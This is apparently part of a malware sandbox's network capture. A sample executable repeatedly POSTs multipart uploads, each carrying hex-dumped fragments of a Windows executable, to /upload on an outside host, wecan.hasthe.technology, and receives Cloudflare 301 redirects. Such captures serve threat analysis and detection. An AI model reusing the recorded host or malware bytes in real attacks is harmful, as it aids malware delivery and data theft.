Oct 10, 2024 21:01:15.328071117 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:15.328099966 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:15.651150942 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:15 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:15 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EZXIJ9Z%2Bw20srZiwktitPKZcrbQzXjQUPKLBuu%2FzPivCJXUWQ3ZpePq8y2yyqY%2F7Vv4ftrzCHe486tsckRi%2BxEKjE7OAI7ysnhjUT7ZPz%2Bf4f0%2B4RH9xqYYI1V4czWElBiLnxnHDI0lUlw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dba2897643ef-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:15.869040966 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------4718040dbafb764f
Oct 10, 2024 21:01:16.342678070 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:16.344041109 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 37 31 38 30 34 30 64 62 61 66 62 37 36 34 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------4718040dbafb764fContent-Disposition: form-data; name="file[]"; filename="rifaien2-vsxK6NHsLYHm3jak.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:16.344294071 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:16.349335909 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:16.349358082 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:16.349383116 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:16.349438906 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:16.349458933 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:16.349483967 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:16.349531889 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:16.349558115 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:16.643565893 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:16 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:16 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z%2B6Enit7WZGKrHLDJHgdQjp6tr1ca4E4PGI%2By07BmQ2%2BLmXLrmRW8isA4QdvxpozL%2Bf3NJiuMCRslgoUeDfynulUCioy2%2FQ2RtyS39t866s42k7kpHxN7w2j9S4USSiu68KJLc4QJZrjJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dba8dd2fc356-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:16.785511017 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------af56a742c571d9e0
Oct 10, 2024 21:01:17.248326063 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:17.304716110 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 66 35 36 61 37 34 32 63 35 37 31 64 39 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------af56a742c571d9e0Content-Disposition: form-data; name="file[]"; filename="rifaien2-ymsS3UBlm6KtwJ4n.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:17.304860115 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:17.310122013 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:17.310187101 CEST	7416	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:17.310188055 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:17.310245991 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:17.314907074 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:17.314954996 CEST	4944	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:17.314954996 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:17.315076113 CEST	2472	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:01:17.628276110 CEST	823	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:17 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:17 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HrEp6Hu6sGHcNC2vemNaL1KLBOscn5%2BbCq%2BjZBrFx4tyF3qsTRPLkAC5E%2Byx9BG1gc67EE%2FpO4mmU9FaJB0Byd38buEArVQqNk%2Fvb19eNyn%2FFI%2BosZ4yOYw%2FJyXmabP5RTHjlKwD5exqyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbaeaef14380-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:17.824146986 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------bcc4ac1b0bd7fb55
Oct 10, 2024 21:01:18.268316984 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:18.269382954 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 63 63 34 61 63 31 62 30 62 64 37 66 62 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------bcc4ac1b0bd7fb55Content-Disposition: form-data; name="file[]"; filename="rifaien2-SZUDU6LfgbhpapuC.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:18.269714117 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:18.274800062 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:18.274857998 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:18.274857998 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:18.274893045 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:18.275000095 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:18.275036097 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:18.275115967 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:18.275142908 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:18.579370975 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:18 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:18 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y4%2BeGv1c8bgpLYM4aIXpv8ieuv0%2Ff9%2Bbu7BNGkek0zVclEkcZSuh2Tt4iPfijLdRsCowM83GohHHupWMhmj7T3Kfbf%2FhPzW4Yb8XnVJHYjbQn7s9HP4BGX%2FzOonI6o4fZAhjT%2FhcD0rOdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbb50c5ade9a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:18.712302923 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------6ae216d247ad7eeb
Oct 10, 2024 21:01:19.179371119 CEST	25	IN	HTTP/1.1 100 Continue
